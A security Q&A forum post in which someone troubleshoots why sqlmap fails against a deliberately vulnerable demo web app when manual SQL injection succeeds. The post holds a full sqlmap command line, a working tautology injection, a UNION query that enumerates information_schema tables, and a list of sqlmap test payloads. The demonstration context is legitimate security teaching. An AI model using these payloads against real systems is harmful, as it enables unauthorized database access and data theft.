SQLmap injection not working, manually it works fine

Question

I have built a vulnerable web application to demonstrate SQL injection. I want to show both manual injection and automated injection. The injection requires a) the user to be logged in (session cookie), b) a user SSL certificate and c) a PREFIX.

My command is:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

I can see that SQLmap is working away, but it never finds the field to be injectable.

A manual injection like this works:

http://vulnapp.com/index.php?profile=admin' or '1'='1

Things that might be causing SQLmap to fail:

1. The returned error message is a custom error message, not a MySQL error message.
2. The profile prefix must be the logged in username.
3. The UNION isn't testing enough fields possibly
4. Its not testing strings but just integers (for instance AND 3347=7762 and not AND '3347'='7762
5. Its testing AND and not OR (I can't see any ORs being tested)
6. The http GET request is then passed to JS which ajax's for the data from the server. Perhaps the response is lost to SQLmap?

Below is some of the queries that can see it is testing, but apparently they all fail.

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

EDIT: This query also works manually:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

However, SQLmap doesn't seem to test unions like that.

Answer 1

Whilst it's impossible to say exactly why sqlmap is failing without having access to the test application you could look at using an intercepting proxy to review the requests/responses from the app. to see where its failing . Using a proxy like OWASP ZAP or Burp you could look at the queries sent by sqlmap and get an idea of why they might be failing.